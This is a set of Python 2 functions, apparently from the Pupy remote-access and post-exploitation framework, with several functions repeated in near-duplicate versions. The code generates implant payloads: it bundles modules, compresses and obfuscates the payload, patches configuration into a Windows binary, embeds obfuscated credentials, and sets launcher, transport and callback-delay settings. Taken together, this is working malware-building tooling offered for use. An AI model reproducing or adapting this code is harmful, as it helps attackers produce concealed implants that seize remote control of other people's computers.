def pack_py_payload(display, conf, debug=False, autostart=True): display(Success('Generating PY payload ...')) stdlib = dependencies.importer(( 'pyasn1', 'rsa', 'pyaes', 'netaddr', 'tinyec', 'umsgpack', 'poster', 'win_inet_pton', 'http_parser', 'urllib_auth', ), ignore_native=True, as_dict=True) stdlib.update( dependencies.importer(('network', 'pupy'), path=ROOT, as_dict=True)) payload = dependencies.bootstrap(stdlib, conf, autostart) + '\n' if debug: return payload return compress_encode_obfs(payload, main=True)
def get_edit_binary(display, path, conf, compressed_config=True, debug=False): logger.debug("generating binary %s with conf: %s" % (path, conf)) binary = b"" with open(path, 'rb') as f: binary = f.read() i = 0 offsets = [] while True: i = binary.find("####---PUPY_CONFIG_COMES_HERE---####\n", i + 1) if i == -1: break offsets.append(i) if not offsets: raise Exception( "Error: the offset to edit the config have not been found") elif len(offsets) > 1: raise Exception( "Error: multiple offsets to edit the config have been found") config = get_raw_conf(display, conf) pupylib = dependencies.importer(('network', 'pupy'), path=ROOT, as_dict=True) new_conf = marshal.dumps([config, pupylib]) logger.debug('First marshalled bytes: %s (total=%d)', ' '.join('{:02x}'.format(ord(c)) for c in new_conf[:64]), len(new_conf)) uncompressed = len(new_conf) if compressed_config: new_conf = pylzma.compress(new_conf) compressed = len(new_conf) new_conf = struct.pack('>II', compressed, uncompressed) + new_conf new_conf_len = len(new_conf) if new_conf_len > HARDCODED_CONF_SIZE: raise Exception( 'Error: config or offline script too long ({}/{} bytes)' 'You need to recompile the dll with a bigger buffer'.format( new_conf_len, HARDCODED_CONF_SIZE)) new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE - new_conf_len) logger.debug('Free space: %d', HARDCODED_CONF_SIZE - new_conf_len) offset = offsets[0] binary = binary[0:offset] + new_conf + binary[offset + HARDCODED_CONF_SIZE:] if binary[:2] == 'MZ': pe = pefile.PE(data=binary, fast_load=True) pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum() binary = pe.write() return binary
def pack_py_payload(display, conf, debug=False): display(Success('Generating PY payload ...')) fullpayload = [] with open(os.path.join(ROOT, 'packages', 'all', 'pupyimporter.py')) as f: pupyimportercode = f.read() fullpayload.append('\n'.join([ dependencies.loader(pupyimportercode, 'pupyimporter'), 'import pupyimporter', 'pupyimporter.install(debug={})'.format( repr(debug if debug is not None else False)), dependencies.importer('network', path=ROOT), dependencies.importer(('rpyc', 'pyasn1', 'rsa', 'netaddr', 'tinyec', 'umsgpack', 'poster', 'win_inet_pton')) ]) + '\n') with open(os.path.join(ROOT, 'pp.py')) as f: code = f.read() code = re.sub(r'LAUNCHER\s*=\s*.*\n(#.*\n)*LAUNCHER_ARGS\s*=\s*.*', conf.replace('\\', '\\\\'), code) if debug: fullpayload = [ 'import logging', 'logging.basicConfig()', 'logging.getLogger().setLevel(logging.DEBUG)' ] + fullpayload fullpayload.append(code + '\n') payload = '\n'.join(fullpayload) + '\n' if debug: return payload return compress_encode_obfs(payload, main=True)
def pack(self): fullpayload = [] requirements = set() for scriptlet in self.scriptlets: if type(scriptlet.dependencies) == dict: for dependency in scriptlet.dependencies.get('all', []): requirements.add(dependency) for dependency in scriptlet.dependencies.get(self.os, []): requirements.add(dependency) else: for dependency in scriptlet.dependencies: requirements.add(dependency) if requirements: try: fullpayload += [ 'import pupyimporter', dependencies.importer(requirements, os=self.os) ] except dependencies.NotFoundError, e: raise ImportError('Module "{}" not found'.format(e))
def pack(self): compiler = AstCompiler() requirements = set() for scriptlet in self.scriptlets: if type(scriptlet.dependencies) == dict: for dependency in scriptlet.dependencies.get('all', []): requirements.add(dependency) for dependency in scriptlet.dependencies.get(self.os, []): requirements.add(dependency) else: for dependency in scriptlet.dependencies: requirements.add(dependency) if requirements: compiler.add_ast( parse('\n'.join([ 'import pupyimporter', dependencies.importer(requirements, os=self.os) ]) + '\n')) for scriptlet, kwargs in self.scriptlets.iteritems(): template = WRAPPING_TEMPLATE.format(scriptlet=scriptlet.name) # Select part with proper OS if any # Should be top-level if statement if string test while True: os_selection_idx = None for idx, item in enumerate(scriptlet.ast.body): if not (type(item) == If and type(item.test) == Str and \ item.test.s.startswith('__os:') and item.test.s.endswith('__')): continue os_selection_idx = idx break if os_selection_idx is None: break new_body = select_body_by_os( scriptlet.ast.body[os_selection_idx], self.os) scriptlet.ast.body = \ scriptlet.ast.body[:os_selection_idx] + \ new_body + scriptlet.ast.body[os_selection_idx+1:] # Bind args # There should be top level function main main_found = False shadow_kwargs = {'logger', 'pupy'} for item in scriptlet.ast.body: if not (type(item) == FunctionDef and item.name == 'main'): continue main_found = True lineno = 0 col_offset = 0 item.name = scriptlet.name + '_main' for idx, (arg, value) in enumerate( zip(item.args.args, item.args.defaults)): lineno = value.lineno col_offset = value.col_offset vtype = type(value) if arg.id in shadow_kwargs: shadow_kwargs.remove(arg.id) elif arg.id in kwargs: default = kwargs[arg.id] if vtype == Num: if type(default) not in (int, long): default = str_to_int(default) value.n = default elif vtype == Str: if type(default) not in (str, unicode): default = str(default) value.s = default elif vtype == Name: if value.id in ('True', 'False'): if default.lower() in ('true', 'yes', 'on', '1'): value.id = 'True' elif default.lower() in ('false', 'no', 'off', '0'): value.id = 'False' else: raise ValueError( 'Expect True/False value for {}'. format(arg.id)) else: new_value = None try: new_value = Num(str_to_int(default)) except ValueError: new_value = Str(default) new_value.lineno = value.lineno new_value.col_offset = value.col_offset item.args.defaults[idx] = new_value elif vtype == Str and value.s.startswith( '__global:') and value.s.endswith('__'): global_name = value.s[9:-2] global_ref = Name(global_name, Load()) global_ref.lineno = value.lineno global_ref.col_offset = value.col_offset item.args.defaults[idx] = global_ref for idx, shadow_kwarg in enumerate(shadow_kwargs): shadow_name = Name(shadow_kwarg, Param()) shadow_name.lineno = lineno shadow_name.col_offset = col_offset + (idx * 16) item.args.args.append(shadow_name) shadow_value = Name('None', Load()) shadow_value.lineno = lineno shadow_value.col_offset = col_offset + (idx * 16) + 7 item.args.defaults.append(shadow_value) break if not main_found: raise ValueError('Scriptlet {} - Invalid source code. ' '"def main():" not found'.format( scriptlet.name)) placeholder_idx = None # Wrap in try/except, and other things template_ast = parse(template) for item in template_ast.body: if not (type(item) == FunctionDef and item.name == '__{}_closure__'.format(scriptlet.name)): continue assert (len(item.body) == 1 and type(item.body[0]) == TryExcept) closure = item.body[0] for idx, payload in enumerate(closure.body): if type(payload) is not Expr: continue if type(payload.value ) is Str and payload.value.s == 'PLACEHOLDER': placeholder_idx = idx break assert (placeholder_idx is not None) closure.body = closure.body[:placeholder_idx] + scriptlet.ast.body + \ closure.body[placeholder_idx+1:] break if placeholder_idx is None: raise ValueError( 'Template placeholder not found. Fill the bug report') compiler.add_ast(template_ast) return compiler.compile('sbundle', raw=True)
def get_raw_conf(conf, obfuscate=False, verbose=False): credentials = Credentials(role='client') if not "offline_script" in conf: offline_script="" else: offline_script=conf["offline_script"] obf_func=lambda x:x if obfuscate: obf_func=compress_encode_obfs launcher = launchers[conf['launcher']]() launcher.parse_args(conf['launcher_args']) required_credentials = set(launcher.credentials) \ if hasattr(launcher, 'credentials') else set([]) transport = launcher.get_transport() transports_list = [] if transport: transports_list = [ transport ] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) available = [] not_available = [] for cred in required_credentials: if credentials[cred]: available.append(cred) else: not_available.append(cred) print colorize("[+] ", "green") + 'Required credentials (found):\n{}'.format( colorize("[+] ", "green") + ', '.join(available)) if not_available: print colorize("[-] ", "red") + 'Required credentials (not found):\n{}'.format( colorize("[-] ", "red") + ', '.join(not_available)) embedded_credentials = '\n'.join([ '{}={}'.format(credential, repr(credentials[credential])) \ for credential in required_credentials if credentials[credential] is not None ])+'\n' if verbose: for k, v in conf.iteritems(): if k in ('offline_script'): continue print colorize("[C] {}: {}".format(k, v), "yellow") config = '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps({ 'pupy_credentials.pye' : bytes(pupycompile(embedded_credentials, obfuscate=True)) }))), dependencies.importer(set( 'network.transports.{}'.format(transport) for transport in transports_list ), path=ROOT), 'import sys', 'sys.modules.pop("network.conf")', 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), 'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)), 'pupy.cid = CONFIGURATION_CID', 'debug={}'.format(bool(conf.get('debug', False))), offline_script ]) return obf_func(config)
def get_raw_conf(display, conf, obfuscate=False, verbose=False): credentials = Credentials(role='client') if "offline_script" not in conf: offline_script="" else: offline_script=conf["offline_script"] launcher = launchers[conf['launcher']]() launcher.parse_args(conf['launcher_args']) required_credentials = set(launcher.credentials) \ if hasattr(launcher, 'credentials') else set([]) transport = launcher.get_transport() transports_list = [] if transport: transports_list = [transport] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) available = [] not_available = [] for cred in required_credentials: if credentials[cred]: available.append(cred) else: not_available.append(cred) display( List(available, bullet=Color('+', 'green'), caption=Success('Required credentials (found)'))) if not_available: display( List(not_available, bullet=Color('-', 'red'), caption=Error('Required credentials (not found)'))) embedded_credentials = '\n'.join([ '{}={}'.format(credential, repr(credentials[credential])) \ for credential in required_credentials if credentials[credential] is not None ])+'\n' if verbose: config_table = [{ 'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else ( unicode(v) if type(v) not in (tuple,list,set) else ' '.join( unicode(x) for x in v)) } for k,v in conf.iteritems() if v] display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1)) config = '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps({ 'pupy_credentials.pye': bytes(pupycompile(embedded_credentials, obfuscate=True)) }))), dependencies.importer(set( 'network.transports.{}'.format(transport) for transport in transports_list ), path=ROOT), 'import sys', 'sys.modules.pop("network.conf", "")', 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), 'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)), 'DELAYS={}'.format(repr(conf.get('delays', [ (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))), 'pupy.cid = CONFIGURATION_CID', 'debug={}'.format(bool(conf.get('debug', False))), 'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""') ]) return compress_encode_obfs(config) if obfuscate else config